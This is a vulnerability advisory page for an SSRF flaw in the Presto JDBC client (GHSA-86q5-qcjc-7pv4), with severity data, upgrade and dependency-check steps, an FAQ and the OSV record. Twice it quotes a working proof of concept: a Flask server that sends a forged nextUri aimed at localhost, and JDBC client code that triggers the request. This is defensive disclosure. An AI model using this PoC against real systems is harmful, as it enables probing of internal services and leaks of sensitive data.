GHSA-86q5-qcjc-7pv4: Presto jdbc Presto JDBC Server-Side Request Forgery Vulnerability

HIGH
CVSS 7.6
CWE-918
Published
Advisory Summary

GHSA-86q5-qcjc-7pv4 is a HIGH (CVSS 7.6) presto jdbc server-side request forgery vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Presto jdbc libraries in the Maven ecosystem. The issue involves presto jdbc server-side request forgery by nexturi. Remediation is available in the latest vendor maintenance releases.

GHSA-86q5-qcjc-7pv4 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-86q5-qcjc-7pv4
Severity HIGH
CVSS v3.1 Base Score 7.6
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Presto jdbc
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 7.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix GHSA-86q5-qcjc-7pv4

To remediate this vulnerability, upgrade all affected Presto jdbc dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

com.facebook.presto:presto-jdbc fixed: Latest secure release
<dependency>
    <groupId>com.facebook.presto</groupId>
    <artifactId>presto-jdbc</artifactId>
    <version>Latest secure release</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=com.facebook.presto

How to Check if You Are Affected

To determine whether your Java application is affected by GHSA-86q5-qcjc-7pv4, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=com.facebook.presto

Analyze the terminal output to locate any version of Presto jdbc in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The mvn dependency:tree -Dincludes=com.facebook.presto command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Presto jdbc, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Presto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can modify the nextUri parameter to internal server in response content that Presto JDBC client will request next and view sensitive information from highly sensitive internal servers or perform a local port scan. ### Details The Presto protocol has a nextUri parameter that specifies which URI the client will request next to obtain more query data. Presto JDBC will directly use the nextUri returned by the remote Presto server as the URL for the next request. So if a malicious server modify the nextUri parameter to the internal server, JDBC will request it and cause SSRF. For unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user. The relevant code is in file path `/presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java` and function `advance` . The flowchart is as follows: <img src="https://s2.loli.net/2023/09/18/gvUZ2rT7w3Okbde.png" alt="presto_jdbc_ssrf_2.png" style="zoom:50%;" /> ### PoC Running an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code: ```python from flask import Flask, Response app = Flask(__name__) @app.route('/v1/statement', methods=['POST']) def next_uri_to_interal_server(): data = '{"id":"test_id","infoUri":"whatever","nextUri":"http://127.0.0.1:8888","stats":{"state":"QUEUED","queued":true,"scheduled":false,"nodes":0,"totalSplits":0,"queuedSplits":0,"runningSplits":0,"completedSplits":0,"cpuTimeMillis":0,"wallTimeMillis":0,"queuedTimeMillis":0,"elapsedTimeMillis":0,"processedRows":0,"processedBytes":0,"peakMemoryBytes":0,"peakTotalMemoryBytes":0,"peakTaskTotalMemoryBytes":0,"spilledBytes":0},"warnings":[]}' return Response(data, content_type='application/json; charset=utf-8', status=200) if __name__ == '__main__': app.run(host="0.0.0.0",port=8000) ``` Connecting to the malicious server using JDBC: ```java String url = "jdbc:presto://<ip>:<port>"; Properties properties = new Properties(); properties.setProperty("user", "root"); try { Connection connection = DriverManager.getConnection(url, properties); Statement stmt = connection.createStatement(); ResultSet res = stmt.executeQuery("show catalogs"); while(res.next()) { System.out.println(res.getString(1)); } } catch (Exception e) { e.printStackTrace(); } ``` Pwned! ### Impact When the target remote Presto server to be connected is controllable, an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan. Vulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance

GHSA-86q5-qcjc-7pv4 Affected Presto jdbc Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
com.facebook.presto:presto-jdbc
Maven
≤ 0.283

References

Frequently Asked Questions

What is GHSA-86q5-qcjc-7pv4?
GHSA-86q5-qcjc-7pv4 is a security vulnerability in Presto jdbc involving Presto JDBC Server-Side Request Forgery by nextUri under CWE-918: Server-Side Request Forgery (SSRF).
Which Presto jdbc versions are affected?
Affected versions include releases prior to current release patches across affected packages: com.facebook.presto:presto-jdbc.
What version fixes GHSA-86q5-qcjc-7pv4?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is presto-jdbc affected?
Yes, com.facebook.presto:presto-jdbc is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-86q5-qcjc-7pv4?
GHSA-86q5-qcjc-7pv4 has a CVSS v3.1 base score of 7.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L.
What CWE is associated with GHSA-86q5-qcjc-7pv4?
GHSA-86q5-qcjc-7pv4 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Maven dependencies for GHSA-86q5-qcjc-7pv4?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=com.facebook.presto'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-86q5-qcjc-7pv4",
  "modified" : "2023-10-03T21:54:06Z",
  "published" : "2023-10-03T21:54:06Z",
  "aliases" : [ ],
  "summary" : "Presto JDBC Server-Side Request Forgery by nextUri",
  "details" : "### Summary\n\nPresto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can modify the nextUri parameter to internal server in response content that Presto JDBC client will request next and view sensitive information from highly sensitive internal servers or perform a local port scan. \n\n### Details\n\nThe Presto protocol has a nextUri parameter that specifies which URI the client will request next to obtain more query data. Presto JDBC will directly use the nextUri returned by the remote Presto server as the URL for the next request. So if a malicious server modify the nextUri parameter to the internal server, JDBC will request it and cause SSRF.\n\nFor unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.\n\nThe relevant code is in file path `/presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java` and function `advance` .\n\nThe flowchart is as follows:\n\n<img src=\"https://s2.loli.net/2023/09/18/gvUZ2rT7w3Okbde.png\" alt=\"presto_jdbc_ssrf_2.png\" style=\"zoom:50%;\" />\n\n### PoC\n\nRunning an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:\n\n```python\nfrom flask import Flask, Response\n\napp = Flask(__name__)\n\n@app.route('/v1/statement', methods=['POST'])\ndef next_uri_to_interal_server():\n    data = '{\"id\":\"test_id\",\"infoUri\":\"whatever\",\"nextUri\":\"http://127.0.0.1:8888\",\"stats\":{\"state\":\"QUEUED\",\"queued\":true,\"scheduled\":false,\"nodes\":0,\"totalSplits\":0,\"queuedSplits\":0,\"runningSplits\":0,\"completedSplits\":0,\"cpuTimeMillis\":0,\"wallTimeMillis\":0,\"queuedTimeMillis\":0,\"elapsedTimeMillis\":0,\"processedRows\":0,\"processedBytes\":0,\"peakMemoryBytes\":0,\"peakTotalMemoryBytes\":0,\"peakTaskTotalMemoryBytes\":0,\"spilledBytes\":0},\"warnings\":[]}'\n    return Response(data, content_type='application/json; charset=utf-8', status=200)\n\nif __name__ == '__main__':\n    app.run(host=\"0.0.0.0\",port=8000)\n```\n\nConnecting to the malicious server using JDBC:\n\n```java\nString url = \"jdbc:presto://<ip>:<port>\";\nProperties properties = new Properties();\nproperties.setProperty(\"user\", \"root\");\ntry {\n    Connection connection = DriverManager.getConnection(url, properties);\n    Statement stmt = connection.createStatement();\n    ResultSet res = stmt.executeQuery(\"show catalogs\");\n    while(res.next()) {\n        System.out.println(res.getString(1));\n    }\n} catch (Exception e) {\n    e.printStackTrace();\n}\n```\n\nPwned!\n\n### Impact\n\nWhen the target remote Presto server to be connected is controllable,  an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan. \n\nVulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.facebook.presto:presto-jdbc"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.283"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/prestodb/presto/security/advisories/GHSA-86q5-qcjc-7pv4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/prestodb/presto"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-10-03T21:54:06Z",
    "nvd_published_at" : null
  }
}